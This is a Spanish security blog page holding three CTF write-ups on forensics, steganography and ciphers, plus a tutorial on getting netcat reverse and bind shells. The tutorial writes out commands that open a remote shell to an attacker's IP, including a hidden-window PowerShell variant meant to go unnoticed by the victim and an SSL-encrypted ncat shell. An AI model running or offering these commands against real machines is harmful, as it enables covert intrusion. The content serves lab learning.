viernes, 26 de octubre de 2018

WRITEUP SILICON VALLEY UAM - EPISODIO 2


Los de UAM (Una al mes) vuelven hacer de las suyas y nos traen un nuevo reto donde tendremos que sacar la "flag" del archivo flag.txt, este se encuentra comprimido y protegido por una contraseña.


Manos a la obra

Descargamos el archivo pied_piper_bak.zip desde cualquier enlace expuesto en el reto (yo elegí MEGA) y descomprimimos el fichero, obteniendo un archivo .raw.

Abrimos volatility y escaneamos la lista de archivos, tras buscar en la larga lista, encontramos un archivo bastante "sospechoso".


Recuperamos el archivo:


Sacamos los strings del archivo:


Tenemos una base de datos de sqlite (también se podría sacar usando sqlite, pero con strings adelantamos :P)

Tenemos varios usuarios en la tabla, pero nos llamada la atención ese "true_god" (recordemos el enunciado del reto "la clave VERDADERA ...... gracias a DIOS tiene....". Está claro que por aquí van los tiros.

Tras buscar en Google con varias cadenas del texto cifrado y mucha, mucha, mucha y digo mucha paciencia encontramos esto.

No hay duda, el texto está cifrado en "Bacon", pasamos a descifrarlo con esta tool:


La password del archivo es: REMAZOABACONIAN y pasamos a descomprimir el archivo:


Parece que ya tenemos el reto resuelto, vayamos hacer un cat para leer el archivo "flag.txt".


En la frente! El archivo flag.txt está cifrado (recordemos el enunciado, tiene dos cifrados), hacemos un "cat" al LEEME y nos da un enlace a Youtube y nos suelta una pista "La clave final de todo está en el corazón de Telegram, en sus comienzos...."

Abrimos el vídeo de Youtube y nos encontramos con el siguiente título "USA for Africa - We Are The World - 1985", tenemos un cifrado, por lo que nuevamente voy probando cadenas jugando con los números y la palabra "decode" hasta encontrar esta pista.

Abrimos el primer enlace (lo siento, soy muy de dcode.fr, que se le va hacer) y pegamos el texto cifrado.


Esto no se acaba! Pero nos aparece otro cifrado de lo que parece hexadecimal y un texto que nos da esperanzas para no tirarnos por la ventana "Vas bien, ya te queda menos".



La cadena sigue "casi" ilegible, pero nos da una pista de que por los patrones podría ser XOR, pero nos hace falta una clave para descifrarla.


La otra pista que nos quedaba era "La clave final de todo está en el corazón de Telegram, en sus comienzos...." clave final...., telegram...comienzos... Vamos a sacar un log del canal de Telegram de UAM.


Tras sacar el historial en formato HTML, vemos que no hay ninguna palabra o password, pero las palabras "claves" y "comienzo" suena a que sea una cifra, como por ejemplo la fecha:


Ponemos la cifra "14122017" como clave y....Si!


Obtenemos la flag, la introducimos y por fin damos por finalizado el reto.


Dar la enhorabuena a los chicos de UAM por los retos tan currados, espero impaciente otro reto. GRACIAS!

martes, 25 de septiembre de 2018

Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:


nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.


RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe


Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.



Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:


RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe


Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:
nc -nv IP_VICTIMA PUERTO


Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.


Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:


powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe
Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:


powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.


Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.


Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:


RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:


ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.


Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!

viernes, 17 de agosto de 2018

WRITEUP RETO 12 CTF #H4F: 12+1


Nuevo reto #Stegano de @Hackers4Fun (#H4F), Balthazar ha robado un valioso diamante y nuestro deber (junto a los Minions) es evitar que se escape con él, por lo que deberemos de conseguir la #flag.






Manos a la obra

Hacemos clic en el enlace, y ya Google Drive nos está diciendo el tipo de archivo que esconde el .7z, nos lo descargamos.



Descomprimimos el archivo y efectivamente obtenemos una imagen.



La imagen pesa nada mas y nada menos que 13,1mb, por lo que tiene "gato encerrado". Vamos analizar la imagen con WinHex.



Aquí tenemos las primeras pistas, la foto esconde:

- 2 Archivos .wav (GrU_Gong_Gong.wav y GrU_sin....wav)
- Hay un .zip (output.zip)
- Un archivo de texto llamado PasS que contiene un md5.

Vamos a probar a cambiar la extensión del archivo de .jpg a .zip

Vaya! Parece que está corrupto el zip, vamos a intentar repararlo con WinRAR.

Vamos a descomprimir el archivo reparado...


Bueno, si volvemos atrás (a WinHex) aparecería una pista que nos daba un archivo (dentro del comprimido) llamado P4sS que contiene el siguiente texto "b655414fa3b4348f144712dfa04d8291".



Usamos MD5 Decrypter :


Si señor, la password es: 3v1lBr4t

Descomprimimos el .zip usando la password y ahora sí que tenemos los dos archivos .wav

Continuamos con el reto, ejecutamos el archivo "GrU_Gong_Gong.wav" y escuchamos unos pitidos cortos y largos, por lo que parece es "morse".

Abrimos el .wav con Audacity, aquí tenemos dos opciones:

Opción 1: Poner el modo "spectrogram" (usé Sonic Visualizer, me gusta mas el spectrogram) y traducir el morse:


Opción 2 (esta fue la que usé): Abrir Audacity y usar la opción "Reducción de ruido" y usar el otro .wav (GrU_sin...), así quitaremos la canción y nos quedaremos sólo con el código morse.

Una vez limpio el audio, lo subimos a esta web https://morsecode.scphillips.com/labs/decoder/


Otra password? Aún continua el reto... Una de steghide? Probemos!


Con Steghide (y la ayuda de la password del morse) sacamos el archivo oculto "b64.txt", hacemos un "cat" y leemos su contenido.

Es un código en "base64", lo decodeamos en "cristiano" y por fin tenemos la flag es: H4F{St3Go_K4r40K3}




Agradecer al equipo de Hackers4Fun por el gran trabajo que hacen con sus retos y eventos. Hasta la próxima.

sábado, 14 de julio de 2018

Writeup Reto 12 CTF #H4F: Emma-ne-de-fur-fur?


Nuevo reto "especial verano" de la mano de @Hackers4Fun (#H4F) donde se ha interceptado un fragmento de código en un email remitido por Tim a Flint "Loco" (El prota de "Lluvia de albóndigas") y deberemos de encontrar lo que esconde.


Manos a la obra

Descargamos y descomprimos con WinRAR el archivo "R3t0_12_H4f.gz" que contiene el siguiente enlace: https://drive.google.com/file/d/1iG_lNnMSU05-kjvbhk9Sk_GMCGnbO-Y1

Nos encontramos con lo que parece un archivo PDF, si lo ejecutamos nos encontraremos con el siguiente texto:


Observamos que es código HTML con una imagen codificada en base64, simplemente seleccionamos todo el código y lo colocamos en cualquier editor de texto (I love you sublime text) y guardamos en .html

Ejecutamos el archivo .html y vemos la siguiente imagen.bmp:


Nos la descargamos y la analizamos con diferentes herramientas (exiftool,binwalk y stegsolve) pero sin ninguna pista que me sirviera de ayuda.

Después de unos minutos de bloqueo, me cambié las gafas "3D" por las lentes graduadas (simplemente limpié los cristales xD) me tropecé con unos extraños pixels que no venían "a cuento" con la imagen. 

Hice zoom y encontré esto:


Es un mensaje en morse! Si tiramos de Photoshop (también sirve Gimp o Fireworks) y jugamos con los niveles podemos conseguir una imagen mas clara, mas o menos lo dejé así:


Con el código mas visible, usamos la tool online y nos dará el siguiente mensaje:


Nos da lo que parece un tipo de "hash" por lo que habrá que hacerle un reversing para continuar con el juego. 

Primero identifiquemos el tipo de hash que hemos obtenido:


Al parecer se trata de un MD5, probamos con MD5decrypt y md5hashing y sin éxito, si ponemos en google "Reverse md5" nos aparece una web llamada GROMWEB y nos proporciona el siguiente mensaje:


Tenemos nuevas pistas! Sabemos que la imagen contiene un archivo oculto, que estará protegido con contraseña y que para extraerlo no podemos usar "Steghide". Por lo que tendremos que usar otras herramientas similares a esta.

Tras probar 4 herramientas diferente, encuentro OpenStego y vemos que nos pide la contraseña y nos exporta un nuevo archivo (level up!)


Hacemos un "cat" y vemos que ahora tenemos un archivo codificado en binario:


Son mas de 300 líneas de binario sin sentido alguno, pruebo abrirlo con bloc de notas y observamos que contiene una especie de "ASCII Art":


Necesitamos alejar el "zoom" para poder llegar a leerlo con mas claridad, el paso siguiente es abrirlo WordPad:


¡Es un código QR! (momento en el que me doy cuenta de la pista en el nombre del archivo..."Fl4g_Qr" xD)

Tras los fallidos intentos de leerlo con lectores online y con mi móvil, nos leemos la wiki de cómo funciona un QR


Sabemos que la base es que se distingan los pixels negro y blanco, por lo que se me ocurre hacer sustitución de caracteres.

Edito el archivo y modifico los "0" que hacen de fondo por un espacio en "blanco" (tecla space):


Y el resultado es este:


Hago otra prueba con el lector de mi móvil y aún es incapaz de leerlo, por lo que se me ocurre repasar "a mano" los pixels en negro con un editor de imágenes (yo utilicé Fireworks).

Sé que si lograba editar al menos la mitad del código QR y conseguir un buen contraste (blanco y negro) podría leer la información que oculta.

Unos minutos después....

Le apuntamos con nuestro móvil (en mi caso, iPhone):


¡Y voilà! La flag es: H4F{H4pPy_H0l1D4Ys}


Ciberconsejos: 

- Un .bmp puede tener mas de un secreto oculto.

- "Aunque los retos de hacking, como en la vida son complicados, pensad que mas complicado es ver a un "chino" echando gasolina". (Asiáticos! Es una cariñosa broma) 

Agradecer al equipo de Hackers4Fun por entretenernos con sus retos y HackPlayers por la mención en su blog.

Hasta la próxima hackers!